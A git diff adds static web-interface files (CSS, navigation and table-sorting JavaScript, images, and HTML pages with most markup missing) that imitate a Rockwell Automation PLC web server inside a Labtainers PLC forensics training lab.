LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/chassisWho_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/css/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/css/navtree.css new file mode 100644 index 000000000..4850c13ef --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/css/navtree.css @@ -0,0 +1,80 @@ +img { border: none; } + +a:link, a:visited, a:focus +{ + display: block; + text-decoration: none; + color: #333333; +} + +a:hover +{ + display: block; + text-decoration: none; + background-color: white; + color: #333333; +} + +.entry +{ + color: #333333; + background-color: #bcbcbc; + + font-family: Verdana; + font-size: 10px; + + padding-top: 2px; + padding-left: 0px; + padding-bottom: 0px; + padding-right: 3px; + + cursor: pointer; cursor: hand; +} + +.branch +{ + color: #333333; + background-color: #bcbcbc; + + font-family: Verdana; + font-size: 10px; + + padding-top: 1px; + padding-left: 15px; + padding-bottom: 0px; + padding-right: 3px; + + display: none; + + cursor: pointer; cursor: hand; +} + +.scrollbarstyle +{ + scrollbar-Base-Color: #CCCCCC; + scrollbar-Face-Color: #A0A0A0; + scrollbar-Highlight-Color: #B7B6B6; + scrollbar-Arrow-Color: #FFFFFF; + scrollbar-3d-Light-Color: #EEEEEE; + scrollbar-Shadow-Color: #555555; + scrollbar-Dark-Shadow-Color: #222222; +} + +a.treehead:link { + font-family: verdana; + font-size: 10px; + color: #ffffff; + background: #214184; } + +a.treehead:visited { + font-family: verdana; + font-size: 10px; + color: #ffffff; + background: #214184; } + +a.treehead:hover { + font-family: verdana; + font-size: 10px; + color: #ffffff; + background: #214184; } + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/css/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/css/radevice.css new file mode 100644 index 000000000..820c0e2a0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/css/radevice.css @@ -0,0 +1,101 @@ +.devicename { +font-family : verdana, helvetica, arial, sans-serif; +font-size : 24px; +text-decoration : none; +color: #FFFFFF; +line-height: 1.25 +} + +.copy { +font-family : verdana, helvetica, arial, sans-serif; +font-size : 11px; +text-decoration : none; +color: #333333; +line-height: 1.25 +} + +.subhead { +font-family: verdana, helvetica, arial, sans-serif; +font-size: 14px; +font-weight: bold; +line-height : normal; +color: #333333 +} + +P,td,ul { +font-family: verdana, helvetica, arial, sans-serif; +font-size: 10px +} + +tr.row { height: 20px } + +body { +font-family: verdana, helvetica, arial, sans-serif; +font-size: 10px; +color: #333333 +} + +.tablehead { + font-family: verdana, helvetica, arial, sans-serif; + font-size: 10px; + color: #002569; + font : bold; +} + +.bodysinglespace { +font-family: verdana, helvetica, arial, sans-serif; +font-size: 10px; +font-style: normal; +line-height: normal; +font-weight: normal; +text-decoration: none; +color: #333333 +} + +.subhead2 { +font-family: verdana, helvetica, arial, sans-serif; +font-size: 12px; +font-weight: bold; +line-height: normal +} + +.copyright { +font-family: verdana, helvetica, arial, sans-serif; +font-size: 10px; +line-height: normal; +text-decoration: none; +color: #333333 +} + +a.tab:link { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 10px; + text-decoration: none; + color: #000000;} + +a.tab:visited { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 10px; + word-spacing: normal; + text-decoration: none; + color: #000000;} + +a.tab:hover { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 10px; + word-spacing: normal; + text-decoration: underline; + color: #000000;} + +/* Sortable table headers */ +table.sortable a.sortheader { + background-color: #BDC8DD; + color: #002569; + font-weight: bold; + text-decoration: none; + display: block; +} +table.sortable span.sortarrow { + color: black; + text-decoration: none; +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews.html new file mode 100644 index 000000000..57c6730ec --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews.html new file mode 100644 index 000000000..b21aea7cb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews.html @@ -0,0 +1,78 @@ + + +Rockwell Automation + + + + + + + +
+ + + + + + + + +
Data ViewsNew Data View
+ + + + + + + +

+ + + + + +
+ + + + + + + + +
DeleteEditView Name  View Filename  Number of Tags  Description  
+
+
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/noarr.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/noarr.bmp new file mode 100644 index 000000000..9037f96c1 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/noarr.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/sorttable.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/sorttable.js new file mode 100644 index 000000000..e8f068b7e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/dataviews_files/sorttable.js @@ -0,0 +1,171 @@ +var SORT_COLUMN_INDEX; + +function ts_getInnerText(el) { + if (typeof el == "string") return el; + if (typeof el == "undefined") { return el }; + if (el.innerText) return el.innerText; //Not needed but it is faster + var str = ""; + + var cs = el.childNodes; + var l = cs.length; + for (var i = 0; i < l; i++) { + switch (cs[i].nodeType) { + case 1: //ELEMENT_NODE + str += ts_getInnerText(cs[i]); + break; + case 3: //TEXT_NODE + str += cs[i].nodeValue; + break; + } + } + return str; +} + +function ts_resortTable(lnk) { + // get the span + var span; + for (var ci=0;ci + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/dataviews_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 